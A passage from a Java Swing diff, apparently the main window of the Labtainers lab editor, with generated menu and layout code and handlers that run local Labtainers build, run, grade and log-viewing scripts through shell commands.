.addGroup(AssessmentPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(AssessmentButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 160, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(AssessmentButton, javax.swing.GroupLayout.PREFERRED_SIZE, 160, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + AssessmentPanelLayout.setVerticalGroup( + AssessmentPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(AssessmentPanelLayout.createSequentialGroup() + .addGap(6, 6, 6) + .addComponent(AssessmentButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 8, Short.MAX_VALUE) + .addComponent(AssessmentButton1) + .addContainerGap()) + ); + + IndividualizePanel.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Individualize", javax.swing.border.TitledBorder.CENTER, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 1, 18))); // NOI18N + + paramsButton.setText("Parameters"); + paramsButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + paramsButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout IndividualizePanelLayout = new javax.swing.GroupLayout(IndividualizePanel); + IndividualizePanel.setLayout(IndividualizePanelLayout); + IndividualizePanelLayout.setHorizontalGroup( + IndividualizePanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGap(0, 223, Short.MAX_VALUE) + .addGroup(IndividualizePanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(IndividualizePanelLayout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(paramsButton) + .addGap(0, 0, Short.MAX_VALUE))) + ); + IndividualizePanelLayout.setVerticalGroup( + IndividualizePanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGap(0, 52, Short.MAX_VALUE) + .addGroup(IndividualizePanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(IndividualizePanelLayout.createSequentialGroup() + .addGap(0, 11, Short.MAX_VALUE) + .addComponent(paramsButton) + .addGap(0, 11, Short.MAX_VALUE))) + ); + + OutputTextArea.setColumns(20); + OutputTextArea.setFont(new java.awt.Font("Ubuntu", 0, 16)); // NOI18N + OutputTextArea.setRows(5); + jScrollPane1.setViewportView(OutputTextArea); + + MainMenuBar.setFont(new java.awt.Font("Ubuntu", 0, 48)); // NOI18N + + FileMenuBar.setText("File"); + FileMenuBar.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + + NewLabMenuItem.setText("New Lab"); + NewLabMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NewLabMenuItemActionPerformed(evt); + } + }); + FileMenuBar.add(NewLabMenuItem); + FileMenuBar.add(jSeparator1); + + OpenLabMenuItem.setText("Open Lab"); + OpenLabMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + OpenLabMenuItemActionPerformed(evt); + } + }); + FileMenuBar.add(OpenLabMenuItem); + FileMenuBar.add(jSeparator2); + + SaveMenuItem.setText("Save Lab"); + SaveMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SaveMenuItemActionPerformed(evt); + } + }); + FileMenuBar.add(SaveMenuItem); + + SaveAsMenuItem.setText("Save Lab As"); + SaveAsMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SaveAsMenuItemActionPerformed(evt); + } + }); + FileMenuBar.add(SaveAsMenuItem); + FileMenuBar.add(jSeparator4); + + PreferencesMenuItem.setText("Preferences"); + PreferencesMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + PreferencesMenuItemActionPerformed(evt); + } + }); + FileMenuBar.add(PreferencesMenuItem); + FileMenuBar.add(jSeparator5); + + ExitMenuItem.setText("Exit"); + ExitMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ExitMenuItemActionPerformed(evt); + } + }); + FileMenuBar.add(ExitMenuItem); + + MainMenuBar.add(FileMenuBar); + + RunMenu.setText("Run"); + RunMenu.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + + RunLabMenu.setText("Run lab"); + RunLabMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RunLabMenuActionPerformed(evt); + } + }); + RunMenu.add(RunLabMenu); + + BuildAndRun.setText("Build and run"); + BuildAndRun.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + BuildAndRunActionPerformed(evt); + } + }); + RunMenu.add(BuildAndRun); + + BuildOnlyMenuItem.setText("Build only"); + BuildOnlyMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + BuildOnlyMenuItemActionPerformed(evt); + } + }); + RunMenu.add(BuildOnlyMenuItem); + + LocalBuildCheckbox.setText("Local builds"); + LocalBuildCheckbox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + LocalBuildCheckboxActionPerformed(evt); + } + }); + RunMenu.add(LocalBuildCheckbox); + + StopLabMenuItem.setText("Stop lab"); + StopLabMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + StopLabMenuItemActionPerformed(evt); + } + }); + RunMenu.add(StopLabMenuItem); + + checkWorkMenuItem.setText("Check work"); + checkWorkMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + checkWorkMenuItemActionPerformed(evt); + } + }); + RunMenu.add(checkWorkMenuItem); + + SimLabMenu.setText("SimLab"); + SimLabMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SimLabMenuActionPerformed(evt); + } + }); + RunMenu.add(SimLabMenu); + + GradeLabMenu.setText("Grade lab"); + GradeLabMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + GradeLabMenuActionPerformed(evt); + } + }); + RunMenu.add(GradeLabMenu); + + StopGraderMenu.setText("Stop grader"); + StopGraderMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + StopGraderMenuActionPerformed(evt); + } + }); + RunMenu.add(StopGraderMenu); + + MainMenuBar.add(RunMenu); + + EditMenu.setText("Edit"); + EditMenu.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + + AboutLabMenuItem.setText("About this lab"); + AboutLabMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + AboutLabMenuItemActionPerformed(evt); + } + }); + EditMenu.add(AboutLabMenuItem); + + LabDocumentsMenuItem.setText("Lab documents"); + LabDocumentsMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + LabDocumentsMenuItemActionPerformed(evt); + } + }); + EditMenu.add(LabDocumentsMenuItem); + + readfirstMenu.setText("readfirst.txt"); + readfirstMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + readfirstMenuActionPerformed(evt); + } + }); + EditMenu.add(readfirstMenu); + + SimlabDirectivesMenuItem.setText("SimLab directives"); + SimlabDirectivesMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SimlabDirectivesMenuItemActionPerformed(evt); + } + }); + EditMenu.add(SimlabDirectivesMenuItem); + + configMenuItem.setText("Config (registry)"); + configMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + configMenuItemActionPerformed(evt); + } + }); + EditMenu.add(configMenuItem); + + keywordsMenuItem.setText("keyworkds"); + keywordsMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + keywordsMenuItemActionPerformed(evt); + } + }); + EditMenu.add(keywordsMenuItem); + + MainMenuBar.add(EditMenu); + + HelpMenu.setText("Help"); + HelpMenu.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + + DesignerMenuItem.setText("Designer Guide"); + DesignerMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DesignerMenuItemActionPerformed(evt); + } + }); + HelpMenu.add(DesignerMenuItem); + + StudentMenuItem.setText("Student Guide"); + StudentMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + StudentMenuItemActionPerformed(evt); + } + }); + HelpMenu.add(StudentMenuItem); + + InstructorMenuItem.setText("Instructor Guide"); + InstructorMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + InstructorMenuItemActionPerformed(evt); + } + }); + HelpMenu.add(InstructorMenuItem); + + MainMenuBar.add(HelpMenu); + + ViewMenu.setText("View"); + ViewMenu.setFont(new java.awt.Font("Ubuntu", 0, 18)); // NOI18N + + labtainerLogMenuItem.setText("labtainer.log"); + labtainerLogMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + labtainerLogMenuItemActionPerformed(evt); + } + }); + ViewMenu.add(labtainerLogMenuItem); + + buildMenuItem.setText("docker_build.log"); + buildMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + buildMenuItemActionPerformed(evt); + } + }); + ViewMenu.add(buildMenuItem); + + MainMenuBar.add(ViewMenu); + + setJMenuBar(MainMenuBar); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(Header, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(ContainerPanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NetworkPanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 758, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(14, 14, 14) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(AssessmentPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(IndividualizePanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addComponent(logo, javax.swing.GroupLayout.PREFERRED_SIZE, 201, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(Header, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(NetworkPanel, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 424, Short.MAX_VALUE) + .addComponent(ContainerPanel, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 424, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addComponent(AssessmentPanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(IndividualizePanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(logo))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void ResultsConfigButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ResultsConfigButtonActionPerformed + resultsConfigButton(); + }//GEN-LAST:event_ResultsConfigButtonActionPerformed + + private void addContainerButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addContainerButtonActionPerformed + addContainerButton(); + }//GEN-LAST:event_addContainerButtonActionPerformed + + private void addNetworkButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addNetworkButtonActionPerformed + addNetworkButton(); + }//GEN-LAST:event_addNetworkButtonActionPerformed + + private void ContainerAddDialogCreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerAddDialogCreateButtonActionPerformed + addContainerPanel(null); + }//GEN-LAST:event_ContainerAddDialogCreateButtonActionPerformed + + private void NetworkAddDialogCreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NetworkAddDialogCreateButtonActionPerformed + newNetworkDialogCreateButton(); + }//GEN-LAST:event_NetworkAddDialogCreateButtonActionPerformed + + private void OpenLabMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_OpenLabMenuItemActionPerformed + try { + File lab = openLabButton(); + if(lab != null){ + openLab(lab); + } + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + }//GEN-LAST:event_OpenLabMenuItemActionPerformed + + private void NetworkAddDialogCancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NetworkAddDialogCancelButtonActionPerformed + NetworkAddDialog.setVisible(false); + }//GEN-LAST:event_NetworkAddDialogCancelButtonActionPerformed + + private void windowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_windowClosing + if(labName != null){ + try{ + if(!saveLab(true, false)){ + int result = JOptionPane.showConfirmDialog(this,"Changes not saved due to errors and will be lost if you exit. Exit anyway?", "Errors", + JOptionPane.YES_NO_OPTION, + JOptionPane.QUESTION_MESSAGE); + if(result != JOptionPane.YES_OPTION){ + return; + } + } + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + } + this.dispose(); + rememberOpenedlab(); + }//GEN-LAST:event_windowClosing + + private void NewLabMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NewLabMenuItemActionPerformed + newLabButton(); + }//GEN-LAST:event_NewLabMenuItemActionPerformed + + private void NewLabCreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NewLabCreateButtonActionPerformed + createNewLab(); + }//GEN-LAST:event_NewLabCreateButtonActionPerformed + + private void NewLabCancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NewLabCancelButtonActionPerformed + NewLabDialog.setVisible(false); + }//GEN-LAST:event_NewLabCancelButtonActionPerformed + + private void SaveMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SaveMenuItemActionPerformed + if(this.currentLab == null){ + saveAsButton(); + }else{ + try { + saveLab(false, false); + } + catch (FileNotFoundException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + } + }//GEN-LAST:event_SaveMenuItemActionPerformed + + private void SaveAsMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SaveAsMenuItemActionPerformed + saveAsButton(); + }//GEN-LAST:event_SaveAsMenuItemActionPerformed + + private void ExitMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ExitMenuItemActionPerformed + rememberOpenedlab(); + if(labName != null){ + try{ + saveLab(true, false); + } catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + } + System.exit(0); + }//GEN-LAST:event_ExitMenuItemActionPerformed + + private void SaveAsCancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SaveAsCancelButtonActionPerformed + SaveAsDialog.setVisible(false); + }//GEN-LAST:event_SaveAsCancelButtonActionPerformed + + private void SaveAsConfirmButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SaveAsConfirmButtonActionPerformed + saveAsConfirmButton(); + }//GEN-LAST:event_SaveAsConfirmButtonActionPerformed + + private void GoalsConfigButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_GoalsConfigButtonActionPerformed + goalsConfigButton(); + }//GEN-LAST:event_GoalsConfigButtonActionPerformed + + private void ContainerAddDialogCancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerAddDialogCancelButtonActionPerformed + ContainerAddDialog.setVisible(false); + }//GEN-LAST:event_ContainerAddDialogCancelButtonActionPerformed + + public void doCommand(String cmd){ + ProcessBuilder builder = new ProcessBuilder(); + builder.command("sh", "-c", cmd); + try{ + Process process = builder.start(); + StreamGobbler streamGobbler = new StreamGobbler(process.getInputStream(), System.out::println); + Executors.newSingleThreadExecutor().submit(streamGobbler); + int exitCode = process.waitFor(); + assert exitCode == 0; + } catch (IOException e){ + System.out.println(e); + } catch (InterruptedException ie){ + System.out.println(ie); + } + } + public void doLabCommand(String cmd){ + ProcessBuilder builder = new ProcessBuilder(); + builder.command("sh", "-c", cmd); + File labdir = new File(labsPath+File.separator+this.labName); + builder.directory(labdir); + try{ + Process process = builder.start(); + StreamGobbler streamGobbler = new StreamGobbler(process.getInputStream(), System.out::println); + Executors.newSingleThreadExecutor().submit(streamGobbler); + int exitCode = process.waitFor(); + assert exitCode == 0; + } catch (IOException e){ + System.out.println(e); + } catch (InterruptedException ie){ + System.out.println(ie); + } + } + public String getLastLine(String path) throws IOException{ + String lastLine = ""; + String line; + BufferedReader br = new BufferedReader(new FileReader(path)); + + while ((line = br.readLine()) != null) + { + if(line.trim().length() > 0){ + lastLine = line; + } + } + return lastLine; + } + public void doStudentCommand(String cmd){ + String path = this.labtainerPath+File.separator+"scripts"+File.separator+"labtainer-student"; + doCommand(cmd, path); + } + public void doInstructorCommand(String cmd){ + String path = this.labtainerPath+File.separator+"scripts"+File.separator+"labtainer-instructor"; + doCommand(cmd, path); + } + public void doCommand(String cmd, String path){ + output(cmd+"\n"); + ProcessBuilder builder = new ProcessBuilder(); + builder.command("sh", "-c", cmd); + builder.directory(new File(path)); + try{ + Process process = builder.start(); + StreamGobbler streamGobbler = new StreamGobbler(process.getInputStream(), System.out::println); + Executors.newSingleThreadExecutor().submit(streamGobbler); + int exitCode = process.waitFor(); + System.out.println("exit code is "+exitCode); + if(exitCode == 0){ + output("Command successful.\n"); + }else if(cmd.startsWith("SimLab")){ + output("SimLab failed, see diagnostics in terminal that started labedit.\n"); + }else if(cmd.contains("build")){ + output("Command failed, see the labtainer log and/or the docker build log.\n"); + String log_path = this.labtainerPath+File.separator+"logs"+File.separator+"labtainer.log"; + String last = getLastLine(log_path); + if(last.contains("ERROR")){ + output(last+"\n"); + } + }else{ + output("Command failed, see the labtainer log and/or the docker build log.\n"); + String log_path = this.labtainerPath+File.separator+"logs"+File.separator+"labtainer.log"; + String last = getLastLine(log_path); + if(last.contains("ERROR")){ + output(last+"\n"); + } + } + } catch (IOException e){ + System.out.println("IOException "+e); + } catch (InterruptedException ie){ + System.out.println("InterruptedException "+ie); + } + } + private void BuildOnlyMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_BuildOnlyMenuItemActionPerformed + try { + if(!saveLab(false, true)){ + output("Build aborted due to errors in lab.\n"); + return; + } + } + catch (FileNotFoundException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + + String cmd = "rebuild -b "+this.labName; + if(this.LocalBuildCheckbox.isSelected()){ + cmd = "rebuild -b -L "+this.labName; + } + //System.out.println("BuildOnly cmd: "+cmd); + doStudentCommand(cmd); + }//GEN-LAST:event_BuildOnlyMenuItemActionPerformed + + private void StopLabMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_StopLabMenuItemActionPerformed + String cmd = "stoplab"; + System.out.println("stoplab"); + doStudentCommand(cmd); + }//GEN-LAST:event_StopLabMenuItemActionPerformed + private void openPDF(String fname){ + String cmd = "evince "+fname+" &"; + doCommand(cmd); + } + private void DesignerMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DesignerMenuItemActionPerformed + String guide = labtainerPath+File.separator+"docs"+File.separator+"labdesigner"+File.separator+"labdesigner.pdf"; + openPDF(guide); + }//GEN-LAST:event_DesignerMenuItemActionPerformed + + private void StudentMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_StudentMenuItemActionPerformed + String guide = labtainerPath+File.separator+"docs"+File.separator+"student"+File.separator+"student.pdf"; + openPDF(guide); + }//GEN-LAST:event_StudentMenuItemActionPerformed + + private void InstructorMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_InstructorMenuItemActionPerformed + String guide = labtainerPath+File.separator+"docs"+File.separator+"instructor"+File.separator+"instructor.pdf"; + openPDF(guide); + }//GEN-LAST:event_InstructorMenuItemActionPerformed + + private void labtainerLogMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_labtainerLogMenuItemActionPerformed + String cmd = "gnome-terminal -t 'labtainer.log' -- tail -f $LABTAINER_DIR/logs/labtainer.log"; + doCommand(cmd); + }//GEN-LAST:event_labtainerLogMenuItemActionPerformed + + private void buildMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buildMenuItemActionPerformed + String cmd = "gnome-terminal -t 'docker_build.log' -- tail -f $LABTAINER_DIR/logs/docker_build.log"; + doCommand(cmd); + }//GEN-LAST:event_buildMenuItemActionPerformed + + private void checkWorkMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_checkWorkMenuItemActionPerformed + String path = this.labtainerPath+File.separator+"scripts"+File.separator+"labtainer-student"; + String cmd = "gnome-terminal -t 'checkwork' --working-directory="+path+" -- checkwork "+this.labName+" -p"; + doCommand(cmd); + }//GEN-LAST:event_checkWorkMenuItemActionPerformed + + private void paramsButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_paramsButtonActionPerformed + if(!paramsOpened){ + paramsUI = new ParamsUI(this, false); + paramsUI.setTitle("Parameters (Individualize) for "+this.labName); + paramsOpened = true; + } + }//GEN-LAST:event_paramsButtonActionPerformed + + private void formMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_formMouseClicked + //System.out.println("clicked"); + //this.toFront(); + }//GEN-LAST:event_formMouseClicked + + private void BuildAndRunActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_BuildAndRunActionPerformed + try { + if(!saveLab(false, true)){ + output("Build aborted due to errors in lab.\n"); + return; + } + } + catch (FileNotFoundException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + } + String cmd = "rebuild "+this.labName; + if(this.LocalBuildCheckbox.isSelected()){ + cmd = "rebuild -L "+this.labName; + } + //System.out.println("BuildAndRun cmd: "+cmd); + doStudentCommand(cmd); + }//GEN-LAST:event_BuildAndRunActionPerformed + + private void PreferencesMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PreferencesMenuItemActionPerformed + PreferencesPanel panel = new PreferencesPanel(); + + panel.setPrefs(this.iniFile, this.prefProperties); + //panel.setVisible(true); + JDialog dialog = new JDialog(); + panel.setDialog(dialog); + //dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + dialog.setModal(true); + dialog.add(panel); + dialog.pack(); + dialog.setLocation(200, 200); + dialog.setTitle("Labtainers Lab Editor Preferences"); + dialog.setVisible(true); + dialog.dispose(); + + }//GEN-LAST:event_PreferencesMenuItemActionPerformed + + private void AboutLabMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_AboutLabMenuItemActionPerformed + String aboutPath = this.currentLab.toString()+File.separator+"config"+File.separator+"about.txt"; + String cmd = getTextEditor()+" "+aboutPath+" &"; + doCommand(cmd); + }//GEN-LAST:event_AboutLabMenuItemActionPerformed + + private void LabDocumentsMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_LabDocumentsMenuItemActionPerformed + String cmd = "gnome-terminal --working-directory="+currentLab.getPath()+File.separator+"docs"; + System.out.println("cmd: "+cmd); + doCommand(cmd); + }//GEN-LAST:event_LabDocumentsMenuItemActionPerformed + + private void SimlabDirectivesMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SimlabDirectivesMenuItemActionPerformed + String labtainerPath = System.getenv("LABTAINER_DIR"); + //System.out.println("labtainerdir is "+labtainerPath); + File labtainer_path = new File(labtainerPath); + String parent = labtainer_path.getParentFile().getPath(); + //System.out.println("parent is "+parent); + File simlab_dir = new File(parent+File.separator+"simlab"+File.separator+this.labName); + simlab_dir.mkdirs(); + String cmd = "gnome-terminal --working-directory="+simlab_dir; + //System.out.println("cmd: "+cmd); + doCommand(cmd); + + }//GEN-LAST:event_SimlabDirectivesMenuItemActionPerformed + + private void readfirstMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_readfirstMenuActionPerformed + String readFirstPath = this.currentLab.toString()+File.separator+"docs"+File.separator+"read_first.txt"; + String cmd = getTextEditor()+readFirstPath+" &"; + doCommand(cmd); + }//GEN-LAST:event_readfirstMenuActionPerformed + + + private void NetworkAddDialogGatewayTextfieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NetworkAddDialogGatewayTextfieldActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_NetworkAddDialogGatewayTextfieldActionPerformed + + private void LocalBuildCheckboxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_LocalBuildCheckboxActionPerformed + if(this.LocalBuildCheckbox.isSelected()){ + writeValueToINI("localBuild", "true"); + //System.out.println("set localBuild true"); + }else{ + writeValueToINI("localBuild", "false"); + //System.out.println("set localBuild false"); + } + + }//GEN-LAST:event_LocalBuildCheckboxActionPerformed + + private void SimLabMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SimLabMenuActionPerformed + if(! isLabRunning()){ + output("Lab is not running."); + return; + } + String cmd = "SimLab.py "+this.labName; + doStudentCommand(cmd); + }//GEN-LAST:event_SimLabMenuActionPerformed + + private void GradeLabMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_GradeLabMenuActionPerformed + String path = this.labtainerPath+File.separator+"scripts"+File.separator+"labtainer-instructor"; + String cmd = "gnome-terminal -t 'gradelab' --working-directory="+path+" -- gradelab "+this.labName+" -wrp"; + doCommand(cmd); + }//GEN-LAST:event_GradeLabMenuActionPerformed + + private void StopGraderMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_StopGraderMenuActionPerformed + String cmd = "stopgrade"; + doInstructorCommand(cmd); + }//GEN-LAST:event_StopGraderMenuActionPerformed + + private void RunLabMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RunLabMenuActionPerformed + String cmd = "labtainer -q "+this.labName; + doStudentCommand(cmd); + }//GEN-LAST:event_RunLabMenuActionPerformed + + private void configMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_configMenuItemActionPerformed + LabPanel panel = new LabPanel(); + + //panel.setVisible(true); + JDialog dialog = new JDialog(); + panel.setDialog(dialog); + panel.setData(this.labDataCurrent); + //dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + dialog.setModal(true); + dialog.add(panel); + dialog.pack(); + dialog.setLocation(200, 200); + dialog.setTitle("Lab configuration"); + dialog.setVisible(true); + dialog.dispose(); + }//GEN-LAST:event_configMenuItemActionPerformed + + private void copyContainerButtonActionPerformed(java.awt.event.ActionEvent evt) 